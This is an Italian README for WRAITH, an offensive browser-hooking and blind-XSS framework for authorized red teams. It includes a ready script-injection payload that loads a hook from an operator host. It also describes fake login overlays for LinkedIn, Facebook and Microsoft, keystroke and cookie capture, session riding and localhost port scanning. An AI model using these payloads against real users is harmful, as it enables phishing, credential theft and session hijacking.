
Framework di hooking dei browser per red team autorizzati e formatori. Aggancia i browser tramite XSS, offre controllo interattivo post-exploitation, cattura di bottino blind-XSS, overlay di social engineering e un laboratorio di pratica.
Un framework moderno e autonomo per l'hooking dei browser, pensato per red team, ricercatori di sicurezza ed educatori — un successore clean-room di BeEF e degli strumenti di callback per blind-XSS che usiamo ogni giorno.
SOLO PER TEST DI SICUREZZA AUTORIZZATI, RICERCA E FORMAZIONE. WRAITH è uno strumento di sicurezza offensiva per dimostrare e testare tecniche di phishing / man-in-the-browser / blind-XSS. Usalo esclusivamente contro sistemi e persone su cui hai esplicita autorizzazione a testare. Sei responsabile dell'uso che ne fai.

Nel corso del nostro lavoro in Arcanum, continuavamo a ricorrere a due diversi tipi di strumenti, desiderando che fossero un'unica cosa.
Da un lato c'era BeEF — il Browser Exploitation Framework — per il classico flusso di lavoro hook di un browser, poi operare dall'interno della sua sessione: keylogging su un finto login, ricognizione della rete locale, invio di un modulo a una vittima live. È lo strumento che usavamo per rendere reale il man-in-the-browser alle persone. Ma mostra i suoi anni, gran parte è inaffidabile nei browser odierni, e le overlay di social engineering sembrano login di un decennio fa.
Dall'altro lato c'erano i nostri framework di callback per blind-XSS preferiti (XSS Hunter, ezXSS): inserisci un payload in un campo, e nell'istante in cui si attiva da qualche parte che non puoi vedere, chiama a casa con il bottino — origine, cookie, DOM, uno screenshot.
Quello di cui avevamo sempre più bisogno — specialmente man mano che più target diventavano ecosistemi di applicazioni AI, dove testo non fidato scorre attraverso agenti, output di strumenti, code di revisione admin e console di supporto, e fa scattare JavaScript in luoghi dove nessuno guarda — era un unico framework che facesse entrambe le cose: il controllo interattivo e persistente post-exploitation di un hook BeEF, e il bottino fire-and-forget da callback blind-XSS, in un unico payload affidabile nei browser attuali e che somigli ai veri schermi di login di oggi.
Così abbiamo costruito WRAITH.
Rilasciamo WRAITH in anticipo, e di proposito. Preferiamo metterlo nelle mani delle persone che lo useranno davvero — e sentire cosa si rompe — piuttosto che tenerlo finché non è "finito".
Questo significa: aspettatevi spigoli e bug. Alcuni moduli sono più testati sul campo di altri, il comportamento dei browser cambia continuamente sotto di noi (vedi le note sullo scan di rete qui sotto), e le API possono cambiare tra versioni. Se incontri qualcosa, apri una issue — passi per la riproduzione, browser + versione, e cosa ti aspettavi sono oro. Le PR sono benvenute secondo i termini di contribuzione del progetto.
Il percorso più veloce. Ti servono Docker + Docker Compose.
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh ti guida attraverso tutto:
.env gitignorato (chmod 600),
e compila + avvia il container. Console operatore : http://YOUR_IP:8090/operator/
Pagina di login : http://YOUR_IP:8090/login (utente "operator")
Pagina vittima demo : http://YOUR_IP:8090/demo/
Payload hook : http://YOUR_IP:8090/hook.js
Payload XSS pronto all'uso:
"><script src="http://YOUR_IP:8090/hook.js"></script>
Gestiscilo con i comandi compose standard:
docker compose logs -f # osservalo
docker compose down # ferma (mantiene ./data)
./setup.sh # riconfigura (ruota la password, cambia indirizzo, …)
Le sessioni catturate persistono in ./data/ sull'host — mai incluse nell'
immagine, mai committate (.env e data/ sono gitignorati).
La console operatore è protetta da login ogni volta che è impostata una password operatore, con accesso tramite nome utente + password:

npm install
npm start
Poi apri la console operatore su http://127.0.0.1:3000/operator/ e la pagina vittima demo su http://127.0.0.1:3000/demo/ (in un secondo browser/profilo). Su localhost, il login è disabilitato di default per comodità — il server rifiuta di legarsi a un'interfaccia pubblica senza una password operatore, così non puoi esporre accidentalmente un pannello aperto.
/hook.js è un payload piccolo. Inseriscilo in qualsiasi pagina che controlli
(<script src="/hook.js"></script>) o consegnalo tramite un XSS nel tuo target. Il
browser che lo carica apre un WebSocket verso l'operatore, si identifica
(browser, OS, IP, pagina, UA), si riconnette automaticamente e sopravvive alla navigazione. Ogni
browser hookato appare live nella console, dove ne scegli uno e lo piloti — la
dashboard completa è l'immagine principale in cima a questo README: elenco dei browser hookati,
dettaglio del target, controlli di deploy, feed attività live e credenziali catturate.
Overlay modernizzate di finto login, renderizzate in un shadow DOM isolato così che appaiano pixel-perfect su qualsiasi pagina host e sfumino la pagina dietro di loro come un vero modale di ri-autenticazione. Include LinkedIn, Facebook e Microsoft / Office 365 (autentico flusso a due passaggi email → password).

Ogni carattere che il target digita in un'overlay viene trasmesso alla console in tempo reale, e le credenziali inviate finiscono in Credenziali Catturate — tutto persistito così che nulla vada perso al refresh o al riavvio.

Nell'istante in cui un browser si hooka, WRAITH attiva automaticamente Page Capture: esattamente ciò che un framework blind-XSS cattura quando il tuo payload si attiva da qualche parte che non puoi vedere — dove si è attivato (origine + URL + referrer), i cookie della vittima (non-HttpOnly), il DOM completo e uno screenshot. I fallimenti vengono riportati onestamente, perché sono la lezione: i cookie HttpOnly non compaiono mai, e CSP o il tainting del canvas cross-origin possono bloccare lo screenshot.

È qui che WRAITH va oltre gli strumenti che sostituisce. Quando piazzi un blind XSS o un hook in una pagina, la maggior parte dei framework si ferma a uno screenshot e un dump di HTML grezzo — puoi vedere dove si è attivato il tuo payload, ma non puoi davvero fare nulla con esso.
Il Page Mirror di WRAITH trasforma quel bottino senza uscita in una vista live e navigabile dell'applicazione. Apri la pagina hookata come una vera vista browser renderizzata dentro la console operatore — poi clicca sui link e muoviti nell'app visivamente, proprio come farebbe la vittima.

Il punto chiave: ogni navigazione viene recuperata attraverso il browser hookato, quindi viaggia sulla sessione della vittima e sulla fiducia same-origin. Qualsiasi pagina, endpoint o funzionalità che la sessione della vittima può raggiungere, puoi raggiungerla anche tu — incluse pagine protette da un cookie di sessione autenticato che non vedi mai (e che, essendo HttpOnly, non potresti mai rubare direttamente).
Nell'esempio qui sotto, partiamo dalla coda ticket di un agente di supporto e clicchiamo direttamente fino a un Credential Vault interno — una pagina che si risolve solo dentro una sessione agente autenticata. Nessuna credenziale phishata, nessun cookie rubato: abbiamo semplicemente cavalcato la sessione della vittima fino a lì.

Le letture cross-origin falliscono ancora di proposito (la Same-Origin Policy regge) — la portata del mirror è esattamente quella della vittima, né più né meno. Quel confine è esso stesso parte della lezione.
Un catalogo in stile XSS-Hunter di stringhe di iniezione pronte all'uso per ogni contesto
(HTML, attribute breakout, chiusura tag, event handler, contesto JS, URI javascript:,
jQuery), ognuna precompilata con il tuo URL di hook e copiabile con un clic.

Usa il browser hookato come proxy per identificare i servizi locali della vittima.
È un canale laterale di timing, ricostruito per i browser attuali — il default
affidabile è uno scan 127.0.0.1 calibrato che usa due primitive indipendenti (timing
fetch- e WebSocket, il metodo letterale check.js di eBay). Le modalità LAN sono incluse ma
etichettate onestamente, perché Chrome 142+ Local Network Access ora le blocca (vedi
qui sotto).
Una "help desk" deliberatamente vulnerabile su /lab con un sink XSS memorizzato, così puoi
dimostrare l'intera catena end-to-end, same-origin: invia un ticket malevolo → un
"agente" rivede la coda e il payload si attiva (il momento blind-XSS) → fai Page Mirror
dell'agente hookato e tira fuori il vault protetto da sessione. Intenzionalmente insicuro di
progetto, con flag piantati.

L'hook si attiva nell'istante in cui viene caricato, esattamente come un payload blind-XSS inserito in un campo memorizzato che poi viene renderizzato in qualche contesto admin/supporto/log/agente che non puoi vedere. Lezioni che emergono direttamente dai dati:
Per un laboratorio offline, self-hosta html2canvas — vedi public/vendor/README.md.
JavaScript non può leggere risposte cross-origin, ma può avviare una richiesta e osservare come fallisce e quanto velocemente, il che rivela lo stato della porta. Il modulo è stato ricostruito attorno a ciò che funziona nei browser attuali (2025–2026), perché il vecchio sweep LAN dell'era BeEF è ora morto.
La realtà moderna: Chrome 142+ (ott 2025) ha introdotto Local Network Access (LNA), che blocca le richieste verso range privati (10.x / 172.16.x / 192.168.x) dietro un prompt di permesso. Uno sweep LAN cieco non raggiunge più il cavo. Ma loopback (127.0.0.1) è ancora raggiungibile, e scansionarlo è l'attacco nel mondo reale — eBay, Best Buy e altri sono stati scoperti a fare port-scan del localhost dei visitatori per identificare servizi locali e strumenti di accesso remoto.
Quindi il modulo ha tre modalità:
127.0.0.1 calibrato che sonda ogni porta con fetch-timing e WebSocket-timing,
impara prima la baseline RST di questa macchina, poi segnala qualsiasi cosa che si risolve,
si blocca o gira più lentamente come APERTA, etichetta il probabile servizio e mostra se
fetch, ws o entrambi concordano. Funziona oggi in Chrome e Firefox.| BeEF | WRAITH |
|---|---|
hook.js + polling XHR | public/hook.js + WebSocket (live, affidabile) |
| Server Ruby + API RESTful | server.js (Node + ws) |
| Pannello browser online/offline | Console operatore "Hooked Browsers" |
| Modulo Pretty Theft | overlay modules/*.js (LinkedIn/Facebook/Microsoft moderni) |
| Network discovery / port scanner | modules/portscan.js (calibrato, browser attuali) |
| Risultati comandi | Keystroke live + Credenziali Catturate + Risultati Scan |
| (nessun equivalente) | Page Capture (bottino blind-XSS) + Page Mirror (naviga nell'app) |
Questi strumenti vivono in fasi diverse dell'attacco e abusano di contesti di fiducia diversi. Sono complementari e si concatenano tra loro.
| WRAITH / BeEF | Framework blind-XSS (XSS Hunter, ezXSS) | Proxy AiTM (Evilginx, EvilGoPhish, Modlishka) | |
|---|---|---|---|
| Cos'è | C2 man-in-the-browser post-exploitation (+ bottino blind-XSS) | Rilevamento + prova XSS con ricognizione one-shot | Proxy inverso adversary-in-the-middle |
| Prerequisito | Hai già JS in esecuzione nella pagina | Idem: il tuo payload si esegue dove non puoi vedere | La vittima clicca un link e fa login sul tuo dominio clone |
| Origine che abusa | La sessione reale / origine reale della vittima | L'origine dell'app vulnerabile | Un dominio attaccante separato che fa da proxy al sito reale |
| Cosa catturi | Credenziali + keystroke + ricognizione + bottino blind-XSS + naviga nell'app via Page Mirror | "Si è attivato, ed ecco": DOM, cookie, screenshot, origine | Credenziali reali e il token di sessione post-MFA |
| Batte l'MFA? | No — hai phishato una credenziale statica | Solo se cavalca una sessione autenticata live in-page | Sì — rubare il cookie di sessione post-auth è il punto |
La distinzione onesta da insegnare: il nostro phish con overlay raccoglie ciò che l'utente digita — non cattura una sessione reale né batte l'MFA. È esattamente il motivo per cui è un grande contrasto, e perché il settore si è mosso verso auth resistente al phishing e legata all'origine (FIDO2 / WebAuthn / passkey). Una kill chain realistica usa tutti e tre: il blind XSS trova e consegna l'esecuzione di codice, un hook WRAITH dà controllo interattivo in-sessione (e, via Page Mirror, raggiunge direttamente le funzionalità dell'app), e un redirect può incanalare la vittima in un flusso Evilginx per una sessione reale con MFA superata.
Tutto è guidato da variabili d'ambiente; la stessa build funziona ovunque perché hook.js deriva
il suo URL di callback da dove viene servito. setup.sh le scrive in .env.
| Variabile env | Default | Scopo |
|---|---|---|
WRAITH_HOST | 127.0.0.1 | interfaccia di bind (0.0.0.0 per esporre; forzato in Docker) |
WRAITH_PORT | 3000 | porta HTTP + WebSocket (setup.sh usa 8090 di default) |
WRAITH_PUBLIC_URL | (derivato) | il tuo IP/dominio, usato per stampare URL di hook corretti |
WRAITH_OP_USER | (vuoto) | nome utente login operatore (opzionale; setup.sh ne imposta uno) |
WRAITH_OP_PASSWORD | (vuoto) | password login operatore; richiesta per il bind pubblico |
WRAITH_SECRET | (casuale/avvio) | firma i cookie di sessione; impostalo per mantenere i login tra i riavvii |
WRAITH_SESSION_HOURS | 12 | durata sessione operatore |
WRAITH_AUTOCAPTURE | 1 | attiva automaticamente Page Capture all'hook (0 = manuale, stile BeEF) |
Un cookie di sessione HttpOnly firmato copre sia il pannello sia il WebSocket live. Il
payload hook, la pagina demo e il canale /ws/hook restano pubblici così che le vittime possano
raggiungerli. Come fail-safe, il server rifiuta di legarsi a un'interfaccia pubblica a meno che
non sia impostata una password.
Per un deployment bare-metal / systemd invece di Docker, vedi deploy/DEPLOY.md.
server.js Server C2 (HTTP + WS, due ruoli per percorso)
config.js Config guidata da env
store.js Store durevole di sessioni/bottino (data/sessions.json)
lab.js Laboratorio di pratica deliberatamente vulnerabile (/lab)
public/hook.js Il payload
public/demo/ Pagina di atterraggio "vittima" innocua
public/operator/ Console operatore (GUI + catalogo payload)
modules/ linkedin.js facebook.js microsoft.js portscan.js capture.js + registro
public/vendor/ Librerie opzionali self-hosted (html2canvas per screenshot offline)
setup.sh Installer Docker interattivo
Dockerfile / docker-compose.yml
deploy/ Alternativa bare-metal systemd
docs/screenshots/ Immagini usate in questo README
WRAITH è © 2026 Arcanum Information Security, rilasciato sotto la Apache License 2.0.
Sei libero di usarlo, modificarlo e ridistribuirlo — incluso nella tua formazione —
ma devi mantenere l'attribuzione: conserva i file LICENSE e NOTICE e
l'avviso di copyright Arcanum in qualsiasi cosa distribuisci o fork, e dichiara
eventuali modifiche apportate (Apache-2.0 §4). Vedi NOTICE. La licenza non concede
l'uso del nome o dei marchi Arcanum oltre alla descrizione della provenienza del codice.
Costruito con ❤️ da Arcanum — https://arcanum-sec.com